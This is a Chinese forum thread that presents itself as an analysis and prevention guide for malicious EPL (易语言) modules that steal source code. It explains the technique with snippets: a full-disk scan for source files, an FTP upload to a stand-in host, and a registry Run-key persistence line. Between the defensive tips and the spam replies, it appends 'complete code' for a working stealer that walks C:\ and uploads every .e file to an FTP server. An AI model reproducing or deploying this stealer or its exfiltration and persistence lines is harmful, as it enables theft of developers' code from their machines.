admin 发表于 2025-5-25 20:58:22

易语言源码窃取技术分析与防范指南

易语言源码窃取技术分析与防范指南
**
一、恶意模块窃密原理剖析
近期曝光的「模块后台窃密事件」,本质是通过恶意代码实现磁盘文件遍历 + 网络传输,核心技术点包括:
1. 全磁盘文件扫描(易语言实现逻辑)
利用易语言文件系统_遍历目录功能,递归扫描所有磁盘分区,匹配.e(易语言源码)、.ec(模块)、.epf(工程文件)等后缀:
.版本 2
.局部变量 目录列表, 文本型, , "0"
.局部变量 文件列表, 文本型, , "0"
.局部变量 i, 整数型

' 遍历所有逻辑磁盘(C盘、D盘等)
.计次循环首 (取驱动器数量 (), i)
    目录列表 = 文件系统_遍历目录 (取驱动器号 (i) + "\", 1, )' 1=包含子目录
    .计次循环首 (取数组成员数 (目录列表), )
      文件列表 = 文件系统_列出文件 (目录列表 [当前循环次数], "*.e;*.ec;*.epf", )
      .计次循环首 (取数组成员数 (文件列表), )
            ' 记录文件路径到全局数组
      .计次循环尾 ()
    .计次循环尾 ()
.计次循环尾 ()

2. 加密传输与隐藏启动

[*]FTP 上传模块:通过internet_ftp上传文件()命令(需链接 FTP 服务器),将文件分批上传至黑客控制的服务器:
' 示例:上传单个文件
internet_ftp连接 (, "ftp.example.com", "用户名", "密码")
internet_ftp上传文件 (, 本地文件路径, 远程存储路径)
internet_ftp断开 ()


[*]启动项植入:写入注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,实现开机自启动,确保持续监控:
注册表_写字符串值 (, #注册表现行用户, "Software\Microsoft\Windows\CurrentVersion\Run", "ModuleUpdate", 取运行目录 () + "\恶意程序.exe")

3. 反检测与隐蔽性设计

[*]进程伪装:将自身进程名伪装为iexplore.exe、svchost.exe等系统进程

[*]流量加密:对 FTP 传输数据进行 AES 加密,避免被安全软件识别为异常流量

[*]文件隐藏:通过文件系统_设置文件属性()将恶意模块设为隐藏只读
二、开发者防范措施(核心技术方案)
1. 源码存储安全

防护手段
技术实现要点
易语言相关命令

权限控制
对源码目录设置 ACL 权限(仅允许当前用户读写)
调用系统 API(如SetFileAttributes)

代码加密
对关键.e文件进行 AES 加密(推荐 128 位密钥)
加密_ AES加密数据()模块

哈希校验
定期计算文件 MD5 值,监控异常修改
数据_计算MD5()函数


2. 运行环境安全

[*]模块安全检测:


[*]使用PEID等工具检查模块是否包含internet_ftp连接()、注册表_写字符串值()等危险命令


[*]在「工具→支持库配置」中禁用未认证的第三方模块

[*]沙箱测试:在虚拟机中运行可疑模块,监控其文件操作和网络请求
3. 网络传输防护

[*]防火墙规则:禁止易语言程序(e.exe)主动连接外部 FTP 服务器

[*]代理隔离:通过 HTTP 代理访问网络,实时监控出站流量异常
4. 应急响应方案

[*]发现异常文件操作时,立即终止e.exe进程并断开网络

[*]使用冰刃等工具清除注册表启动项和磁盘隐藏文件

[*]对已泄露源码进行哈希值全网监控,防止二次传播
三、行业规范与道德警示

[*]开发者公约:


[*]模块发布前进行代码审计,删除非必要的文件 / 网络操作命令


[*]在「模块说明」中明示所有权限申请(如文件读写、网络连接)

[*]法律风险:根据《网络安全法》第二十七条,窃取用户数据可处 5 万元以上 50 万元以下罚款,情节严重者追究刑事责任。建议开发者通过「易语言官方模块市场」获取经过安全认证的组件。
四、总结
此类窃密事件本质是权限滥用 + 隐蔽传输的结合,核心防范在于:

[*]最小化程序权限(仅赋予必要的文件读写范围)

[*]建立源码访问审计机制(如定期扫描异常文件操作)

[*]优先使用官方认证的开发资源
通过技术手段与安全意识的双重防护,可有效降低源码泄露风险。如需进一步了解易语言程序安全加固方案,可参考《易语言开发安全规范白皮书》。


完整代码:
.版本 2
.支持库 internet
.支持库 spec

.程序集 窗口程序集_启动窗口
.程序集变量 ftp目录, 文本型

.子程序 __启动窗口_创建完毕

连接FTP服务器 (“bes***************e”, “w******j”, “c******4”, 21, 真)' 连接ftp
初始化模块 (“/wwwroot/”)' 选择ftp目录

.子程序 遍历文件
.参数 后缀名, 文本型, , 传入一个后缀名,如果想查询所有后缀的文件请传入*
.参数 查找的目录, 文本型, , 传入要查找的目录,如果目录的结尾没有\请自行加上后再传入,你也可以在这个子程序内部自己定义来加上结尾的\
.参数 是否遍历子目录, 逻辑型, , 为假则不遍历子目录,为真则遍历
.参数 回调函数, 子程序指针, , 第一个参数为查找到的文件名,第二个参数为文件的完整路径
.局部变量 文件名, 文本型

' 调用寻找文件函数来寻找文件,第二个参数定义:1、#只读文件; 2、#隐藏文件; 4、#系统文件; 16、#子目录; 32、#存档文件 。
文件名 = 寻找文件 (查找的目录 + “*.” + 后缀名, 1 + 2 + 4 + 32)
' 这一不部分是对当前文件夹的文件进行查找并获取,不包含子目录的
.判断循环首 (文件名 ≠ “”)
    ' 如果找到一个文件,使用调用子程序函数调用回调函数,这个回调函数请自己在外部定义,在开发中,这样的写法对于外部接入很方便。
    调用子程序 (回调函数, , , 文件名, 查找的目录 + 文件名)
    文件名 = 寻找文件 (, 1 + 2 + 4 + 32)
.判断循环尾 ()

' 因为上面的代码没有对子目录进行操作,如果我们选择了遍历子目录的所有文件的话,还需要进行下面的调用
.如果真 (是否遍历子目录)
    ' 这样写寻找文件,返回的就全是子目录,不包含文件
    文件名 = 寻找文件 (查找的目录 + “*.*”, #子目录)

    .判断循环首 (文件名 ≠ “”)
      ' 返回的子目录中有两种特殊的,一个是“.”,表示当前目录,一个是“..”,表示上一级目录,我们都不需要,去掉他们,就是正常的子目录了
      .如果真 (文件名 ≠ “.” 且 文件名 ≠ “..”)
            ' 这是精髓,使用递归调用的方法,递归调用本函数,但是请注意第二个参数查找的目录已经变了,还有记得在目录结尾加上“\”
            遍历文件 (后缀名, 查找的目录 + 文件名 + “\”, 真, 回调函数)
            处理事件 ()
      .如果真结束

      文件名 = 寻找文件 (, #子目录)
    .判断循环尾 ()

.如果真结束


.子程序 子程序1
.参数 文件名, 文本型
.参数 文件路径, 文本型

FTP文件上传 (文件路径, ftp目录 + 文件名, )

.子程序 初始化模块, , 公开
.参数 ftp地址, 文本型

ftp目录 = ftp地址
遍历文件 (“e”, “C:\”, 真, &子程序1)




墨彩逸神韵 发表于 2025-5-25 21:10:00

无忧技术吧 不错不错,楼主您辛苦了。。。

孤帆远影 发表于 2025-5-25 21:16:13

我抢、我抢、我抢沙发~无忧技术吧

画里乾坤 发表于 2025-5-25 21:29:43

我抢、我抢、我抢沙发~无忧技术吧

诗韵逸逸声 发表于 2025-5-25 21:34:03

找到好贴不容易,我顶你了,谢了无忧技术吧

书韵悠长 发表于 2025-5-25 21:36:07

找到好贴不容易,我顶你了,谢了无忧技术吧

艺海寻梦 发表于 2025-5-25 21:43:32

相当不错,感谢无私分享精神!无忧技术吧

暮雨朝云 发表于 2025-5-25 21:53:52

无忧技术吧 小手一抖,钱钱到手!

寒塘鹤影 发表于 2025-5-25 23:40:47

无忧技术吧 我是来刷分的,嘿嘿

妙手丹青 发表于 2025-5-26 00:07:50

相当不错,感谢无私分享精神!无忧技术吧
页: [1] 2 3 4 5 6 7 8
查看完整版本: 易语言源码窃取技术分析与防范指南